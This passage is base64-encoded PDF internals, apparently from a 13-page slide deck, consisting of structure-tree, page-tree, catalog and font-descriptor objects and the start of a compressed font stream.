UCAxMjcgMCBSIC9LIFsgMjc2IDAgUiAyNzcgMCBSIF0gID4+CmVuZG9iagoyNzYgMCBvYmoKPDwg L1R5cGUgL1N0cnVjdEVsZW0gL1MgL0xibCAvUCAyNzEgMCBSIC9QZyA1NSAwIFIgL0sgMTc3ICA+ PgplbmRvYmoKMjc3IDAgb2JqCjw8IC9UeXBlIC9TdHJ1Y3RFbGVtIC9TIC9MQm9keSAvUCAyNzEg MCBSIC9QZyA1NSAwIFIgL0sgMTc4ICA+PgplbmRvYmoKMTI4IDAgb2JqCjw8IC9UeXBlIC9TdHJ1 Y3RFbGVtIC9TIC9GaWd1cmUgL1AgODAgMCBSIC9QZyA2MCAwIFIgL0sgMTc5ICA+PgplbmRvYmoK MTI5IDAgb2JqCjw8IC9UeXBlIC9TdHJ1Y3RFbGVtIC9TIC9QIC9QIDgwIDAgUiAvUGcgNjAgMCBS IC9LIDE4MCAgPj4KZW5kb2JqCjEzMCAwIG9iago8PCAvVHlwZSAvU3RydWN0RWxlbSAvUyAvRmln dXJlIC9QIDgwIDAgUiAvUGcgNjAgMCBSIC9LIDE4MSAgPj4KZW5kb2JqCjEzMSAwIG9iago8PCAv VHlwZSAvU3RydWN0RWxlbSAvUyAvUCAvUCA4MCAwIFIgL1BnIDYwIDAgUiAvSyAxODIgID4+CmVu ZG9iagoxMzIgMCBvYmoKPDwgL1R5cGUgL1N0cnVjdEVsZW0gL1MgL0ZpZ3VyZSAvUCA4MCAwIFIg L1BnIDYwIDAgUiAvSyAxODMgID4+CmVuZG9iagoxMzMgMCBvYmoKPDwgL1R5cGUgL1N0cnVjdEVs ZW0gL1MgL0wgL1AgODAgMCBSIC9LIFsgMjc4IDAgUiAyNzkgMCBSIF0gID4+CmVuZG9iagoyNzgg MCBvYmoKPDwgL1R5cGUgL1N0cnVjdEVsZW0gL1MgL0xJIC9QIDEzMyAwIFIgL0sgWyAyODAgMCBS IDI4MSAwIFIgXSAgPj4KZW5kb2JqCjI4MCAwIG9iago8PCAvVHlwZSAvU3RydWN0RWxlbSAvUyAv TGJsIC9QIDI3OCAwIFIgL1BnIDYwIDAgUiAvSyAxODYgID4+CmVuZG9iagoyODEgMCBvYmoKPDwg L1R5cGUgL1N0cnVjdEVsZW0gL1MgL0xCb2R5IC9QIDI3OCAwIFIgL1BnIDYwIDAgUiAvSyAxODcg ID4+CmVuZG9iagoyNzkgMCBvYmoKPDwgL1R5cGUgL1N0cnVjdEVsZW0gL1MgL0xJIC9QIDEzMyAw IFIgL0sgWyAyODIgMCBSIDI4MyAwIFIgXSAgPj4KZW5kb2JqCjI4MiAwIG9iago8PCAvVHlwZSAv U3RydWN0RWxlbSAvUyAvTGJsIC9QIDI3OSAwIFIgL1BnIDYwIDAgUiAvSyAxODkgID4+CmVuZG9i agoyODMgMCBvYmoKPDwgL1R5cGUgL1N0cnVjdEVsZW0gL1MgL0xCb2R5IC9QIDI3OSAwIFIgL1Bn IDYwIDAgUiAvSyAxOTAgID4+CmVuZG9iagoxMzQgMCBvYmoKPDwgL1R5cGUgL1N0cnVjdEVsZW0g L1MgL0ZpZ3VyZSAvUCA4MCAwIFIgL1BnIDY0IDAgUiAvSyAxOTEgID4+CmVuZG9iagoxMzUgMCBv YmoKPDwgL1R5cGUgL1N0cnVjdEVsZW0gL1MgL1AgL1AgODAgMCBSIC9QZyA2NCAwIFIgL0sgMTky ICA+PgplbmRvYmoKMTM2IDAgb2JqCjw8IC9UeXBlIC9TdHJ1Y3RFbGVtIC9TIC9GaWd1cmUgL1Ag ODAgMCBSIC9QZyA2NCAwIFIgL0sgMTkzICA+PgplbmRvYmoKMTM3IDAgb2JqCjw8IC9UeXBlIC9T dHJ1Y3RFbGVtIC9TIC9MIC9QIDgwIDAgUiAvSyBbIDI4NCAwIFIgMjg1IDAgUiAyODYgMCBSIDI4 NyAwIFIKXSAgPj4KZW5kb2JqCjI4NCAwIG9iago8PCAvVHlwZSAvU3RydWN0RWxlbSAvUyAvTEkg L1AgMTM3IDAgUiAvSyBbIDI4OCAwIFIgMjg5IDAgUiBdICA+PgplbmRvYmoKMjg4IDAgb2JqCjw8 IC9UeXBlIC9TdHJ1Y3RFbGVtIC9TIC9MYmwgL1AgMjg0IDAgUiAvUGcgNjQgMCBSIC9LIDE5NiAg Pj4KZW5kb2JqCjI4OSAwIG9iago8PCAvVHlwZSAvU3RydWN0RWxlbSAvUyAvTEJvZHkgL1AgMjg0 IDAgUiAvUGcgNjQgMCBSIC9LIDE5NyAgPj4KZW5kb2JqCjI4NSAwIG9iago8PCAvVHlwZSAvU3Ry dWN0RWxlbSAvUyAvTEkgL1AgMTM3IDAgUiAvSyBbIDI5MCAwIFIgMjkxIDAgUiBdICA+PgplbmRv YmoKMjkwIDAgb2JqCjw8IC9UeXBlIC9TdHJ1Y3RFbGVtIC9TIC9MYmwgL1AgMjg1IDAgUiAvUGcg NjQgMCBSIC9LIDE5OSAgPj4KZW5kb2JqCjI5MSAwIG9iago8PCAvVHlwZSAvU3RydWN0RWxlbSAv UyAvTEJvZHkgL1AgMjg1IDAgUiAvUGcgNjQgMCBSIC9LIDIwMCAgPj4KZW5kb2JqCjI4NiAwIG9i ago8PCAvVHlwZSAvU3RydWN0RWxlbSAvUyAvTEkgL1AgMTM3IDAgUiAvSyBbIDI5MiAwIFIgMjkz IDAgUiBdICA+PgplbmRvYmoKMjkyIDAgb2JqCjw8IC9UeXBlIC9TdHJ1Y3RFbGVtIC9TIC9MYmwg L1AgMjg2IDAgUiAvUGcgNjQgMCBSIC9LIDIwMiAgPj4KZW5kb2JqCjI5MyAwIG9iago8PCAvVHlw ZSAvU3RydWN0RWxlbSAvUyAvTEJvZHkgL1AgMjg2IDAgUiAvUGcgNjQgMCBSIC9LIDIwMyAgPj4K ZW5kb2JqCjI4NyAwIG9iago8PCAvVHlwZSAvU3RydWN0RWxlbSAvUyAvTEkgL1AgMTM3IDAgUiAv SyBbIDI5NCAwIFIgMjk1IDAgUiBdICA+PgplbmRvYmoKMjk0IDAgb2JqCjw8IC9UeXBlIC9TdHJ1 Y3RFbGVtIC9TIC9MYmwgL1AgMjg3IDAgUiAvUGcgNjQgMCBSIC9LIDIwNSAgPj4KZW5kb2JqCjI5 NSAwIG9iago8PCAvVHlwZSAvU3RydWN0RWxlbSAvUyAvTEJvZHkgL1AgMjg3IDAgUiAvUGcgNjQg MCBSIC9LIDIwNiAgPj4KZW5kb2JqCjEzOCAwIG9iago8PCAvVHlwZSAvU3RydWN0RWxlbSAvUyAv RmlndXJlIC9QIDgwIDAgUiAvUGcgNjggMCBSIC9LIDIwNyAgPj4KZW5kb2JqCjEzOSAwIG9iago8 PCAvVHlwZSAvU3RydWN0RWxlbSAvUyAvUCAvUCA4MCAwIFIgL1BnIDY4IDAgUiAvSyAyMDggID4+ CmVuZG9iagoxNDAgMCBvYmoKPDwgL1R5cGUgL1N0cnVjdEVsZW0gL1MgL0ZpZ3VyZSAvUCA4MCAw IFIgL1BnIDY4IDAgUiAvSyAyMDkgID4+CmVuZG9iagoxNDEgMCBvYmoKPDwgL1R5cGUgL1N0cnVj dEVsZW0gL1MgL0wgL1AgODAgMCBSIC9LIFsgMjk2IDAgUiAyOTcgMCBSIDI5OCAwIFIgXSAgPj4K ZW5kb2JqCjI5NiAwIG9iago8PCAvVHlwZSAvU3RydWN0RWxlbSAvUyAvTEkgL1AgMTQxIDAgUiAv SyBbIDI5OSAwIFIgMzAwIDAgUiBdICA+PgplbmRvYmoKMjk5IDAgb2JqCjw8IC9UeXBlIC9TdHJ1 Y3RFbGVtIC9TIC9MYmwgL1AgMjk2IDAgUiAvUGcgNjggMCBSIC9LIDIxMiAgPj4KZW5kb2JqCjMw MCAwIG9iago8PCAvVHlwZSAvU3RydWN0RWxlbSAvUyAvTEJvZHkgL1AgMjk2IDAgUiAvUGcgNjgg MCBSIC9LIDIxMyAgPj4KZW5kb2JqCjI5NyAwIG9iago8PCAvVHlwZSAvU3RydWN0RWxlbSAvUyAv TEkgL1AgMTQxIDAgUiAvSyBbIDMwMSAwIFIgMzAyIDAgUiBdICA+PgplbmRvYmoKMzAxIDAgb2Jq Cjw8IC9UeXBlIC9TdHJ1Y3RFbGVtIC9TIC9MYmwgL1AgMjk3IDAgUiAvUGcgNjggMCBSIC9LIDIx NSAgPj4KZW5kb2JqCjMwMiAwIG9iago8PCAvVHlwZSAvU3RydWN0RWxlbSAvUyAvTEJvZHkgL1Ag Mjk3IDAgUiAvUGcgNjggMCBSIC9LIDIxNiAgPj4KZW5kb2JqCjI5OCAwIG9iago8PCAvVHlwZSAv U3RydWN0RWxlbSAvUyAvTEkgL1AgMTQxIDAgUiAvSyBbIDMwMyAwIFIgMzA0IDAgUiBdICA+Pgpl bmRvYmoKMzAzIDAgb2JqCjw8IC9UeXBlIC9TdHJ1Y3RFbGVtIC9TIC9MYmwgL1AgMjk4IDAgUiAv UGcgNjggMCBSIC9LIDIxOCAgPj4KZW5kb2JqCjMwNCAwIG9iago8PCAvVHlwZSAvU3RydWN0RWxl bSAvUyAvTEJvZHkgL1AgMjk4IDAgUiAvUGcgNjggMCBSIC9LIDIxOSAgPj4KZW5kb2JqCjE0MiAw IG9iago8PCAvVHlwZSAvU3RydWN0RWxlbSAvUyAvRmlndXJlIC9QIDgwIDAgUiAvUGcgNjggMCBS IC9LIDIyMCAgPj4KZW5kb2JqCjE0MyAwIG9iago8PCAvVHlwZSAvU3RydWN0RWxlbSAvUyAvUCAv UCA4MCAwIFIgL1BnIDY4IDAgUiAvSyAyMjEgID4+CmVuZG9iagoxNDQgMCBvYmoKPDwgL1R5cGUg L1N0cnVjdEVsZW0gL1MgL0ZpZ3VyZSAvUCA4MCAwIFIgL1BnIDcyIDAgUiAvSyAyMjIgID4+CmVu ZG9iagoxNDUgMCBvYmoKPDwgL1R5cGUgL1N0cnVjdEVsZW0gL1MgL1AgL1AgODAgMCBSIC9QZyA3 MiAwIFIgL0sgMjIzICA+PgplbmRvYmoKMiAwIG9iago8PCAvVHlwZSAvUGFnZXMgL1BhcmVudCAz MDUgMCBSIC9Db3VudCA4IC9LaWRzIFsgMSAwIFIgMTQgMCBSIDI2IDAgUiAzNSAwIFIKMzkgMCBS IDQzIDAgUiA0NyAwIFIgNTEgMCBSIF0gPj4KZW5kb2JqCjU2IDAgb2JqCjw8IC9UeXBlIC9QYWdl cyAvUGFyZW50IDMwNSAwIFIgL0NvdW50IDUgL0tpZHMgWyA1NSAwIFIgNjAgMCBSIDY0IDAgUiA2 OCAwIFIKNzIgMCBSIF0gPj4KZW5kb2JqCjMwNSAwIG9iago8PCAvVHlwZSAvUGFnZXMgL01lZGlh Qm94IFswIDAgMTkyMCAxMDgwXSAvQ291bnQgMTMgL0tpZHMgWyAyIDAgUiA1NiAwIFIgXQo+Pgpl bmRvYmoKMzA2IDAgb2JqCjw8IC9UeXBlIC9DYXRhbG9nIC9QYWdlcyAzMDUgMCBSIC9WZXJzaW9u IC8xLjQgL01hcmtJbmZvIDw8IC9NYXJrZWQgdHJ1ZSA+PgovU3RydWN0VHJlZVJvb3QgODEgMCBS ID4+CmVuZG9iago0MiAwIG9iagpbIDM5IDAgUiAgL1hZWiAwIDEwODAgMCBdCmVuZG9iago2NyAw IG9iagpbIDY0IDAgUiAgL1hZWiAwIDEwODAgMCBdCmVuZG9iago0NiAwIG9iagpbIDQzIDAgUiAg L1hZWiAwIDEwODAgMCBdCmVuZG9iago1OSAwIG9iagpbIDU1IDAgUiAgL1hZWiAwIDEwODAgMCBd CmVuZG9iagozMiAwIG9iagpbIDI2IDAgUiAgL1hZWiAwIDEwODAgMCBdCmVuZG9iago2MyAwIG9i agpbIDYwIDAgUiAgL1hZWiAwIDEwODAgMCBdCmVuZG9iago1NCAwIG9iagpbIDUxIDAgUiAgL1hZ WiAwIDEwODAgMCBdCmVuZG9iago3MSAwIG9iagpbIDY4IDAgUiAgL1hZWiAwIDEwODAgMCBdCmVu ZG9iago1MCAwIG9iagpbIDQ3IDAgUiAgL1hZWiAwIDEwODAgMCBdCmVuZG9iago3NyAwIG9iagpb IDcyIDAgUiAgL1hZWiAwIDEwODAgMCBdCmVuZG9iagoxMCAwIG9iagpbIDEgMCBSICAvWFlaIDAg MTA4MCAwIF0KZW5kb2JqCjM4IDAgb2JqClsgMzUgMCBSICAvWFlaIDAgMTA4MCAwIF0KZW5kb2Jq CjIxIDAgb2JqClsgMTQgMCBSICAvWFlaIDAgMTA4MCAwIF0KZW5kb2JqCjYgMCBvYmoKPDwgL1R5 cGUgL0ZvbnQgL1N1YnR5cGUgL1R5cGUxIC9CYXNlRm9udCAvQUFBQUFCK0dyYXBoaWstU2VtaWJv bGQgL0ZvbnREZXNjcmlwdG9yCjMwNyAwIFIgL0VuY29kaW5nIC9NYWNSb21hbkVuY29kaW5nIC9G aXJzdENoYXIgMzIgL0xhc3RDaGFyIDExNyAvV2lkdGhzIFsKMjIyIDAgMCAwIDAgMCAwIDAgMzQz IDM0MyAwIDAgMCAwIDAgMCA3MTMgNDMxIDU5MyA2MzUgNjU2IDYxNSAwIDU1OCA2MzkgNjU1CjMw MCAwIDAgMCAwIDAgMCA3MjAgNjU5IDc0OCA3MjYgMCA1NjcgMCAwIDAgMCAwIDAgMCA3NTggMCA2 MjYgMCA2NzIgNjQwIDU5Nwo3MzkgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDU2NCA2MzcgNTc4IDYz NyA1ODcgMzcxIDAgMCAyODEgMCAwIDI4MCA5MjMgNjE1CjYxNiA2MzcgNjM3IDQwOSA1MDIgMzc3 IDYxMiBdID4+CmVuZG9iagozMDcgMCBvYmoKPDwgL1R5cGUgL0ZvbnREZXNjcmlwdG9yIC9Gb250 TmFtZSAvQUFBQUFCK0dyYXBoaWstU2VtaWJvbGQgL0ZsYWdzIDMyIC9Gb250QkJveApbLTIzOCAt MjI4IDExNTkgMTEyOF0gL0l0YWxpY0FuZ2xlIDAgL0FzY2VudCAxMTAwIC9EZXNjZW50IC0yMjAg L0NhcEhlaWdodAo3MTUgL1N0ZW1WIDE0NSAvTGVhZGluZyAxMCAvWEhlaWdodCA1MjMgL1N0ZW1I IDEyOCAvQXZnV2lkdGggNDAwIC9NYXhXaWR0aAoxNDU5IC9Gb250RmlsZTMgMzA4IDAgUiA+Pgpl bmRvYmoKMzA4IDAgb2JqCjw8IC9TdWJ0eXBlIC9UeXBlMUMgL0xlbmd0aCA3MjU4IC9GaWx0ZXIg L0ZsYXRlRGVjb2RlID4+CnN0cmVhbQp4AW2ZB1wU19f3d9mdO7tzdVXWQcM6OypVQVBREWyIiMTe BQURFaWIXbBnxZoYe4mxgR0FY8GCCGKPXYOKqBhbjIkFDZKc9X94njxn0eR9P+/7yGc/49yZe+eW c8/5ne/VavROGq1WW7+z41+oT7fJcRMTEpObDYhPSRw5Ydxox7Mm9toau8XJ3kBnV/QhNXRLa2I6 Tm+gX/yfKqFBzZBaDWquqXO+Qd0ZzhqdVlunUZPPbTT8p43/995RHupoewt9WtND87XmuJZrY7S7 tL861XTydvrSaazTdKezTr84vdIZdIN0Sbq3+tr6Fvr2+mn6Vfq1+gP6o/oi/RWhkdBMmCusErYJ x4WHwhPhT6ZhKmvCurD+bDCLZRPYDLaSZbDj7Ay7yn5nbxiI3mILsac4RBwhThZninvEo+IFsUR8 LpaLH0QQ/9tgMNQyfGFoZGhi6GmYaEg1zDMsN3xn2GwoMDw0vDS8Mrw3gAGNGqPBWNtY1+hm9DUG GkOM3Yy9jP2Ng43DjJOMU41zjUuMq40bjAeM542XjHeND4w/G18Y/2P8b4lJRqmm5CKpkocUJPWS RkhjpBRpkjRfWiStl7ZLh6UC6aJ0VbovvZDKpUrpP1zDa3JX7sX9eDAP5315JB/Bk3kqn8cXyWgM fAGeIRK4l/wKtaHOXV9UrfNFdO/khzWtS1CWYQp4gj8k0jvJ2Aw8MBkTsDn6YKLjvXhwQ3+YajXJ QTE/vguR3p288LAsv4+XdYHoHd0n2PoNOsnQAnglBFEDgShVYgv64w2xraN6IHA3aG7lPaER/C5C 4+ZFWBfrNhmItdOtoLC8Vbuyzluub03spab2FbEV6mPQpHJopbN722RIAhOYYYB6D++iBK3FoCVD w7GGBRv2LQcrfc7zzm9Q++nZ+MDvrdCaQdeZ2PgOBlhwLDbDppisUgcSwAV9Ya6Vy2B9dBEE0HfJ wXpb1U7rJ2/Icc3evS2/cEfaiDVW+IJBjbmtjqLB0tBrEGo9zowCNVUtse2bPdZ17KTUAT2n7s5f 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 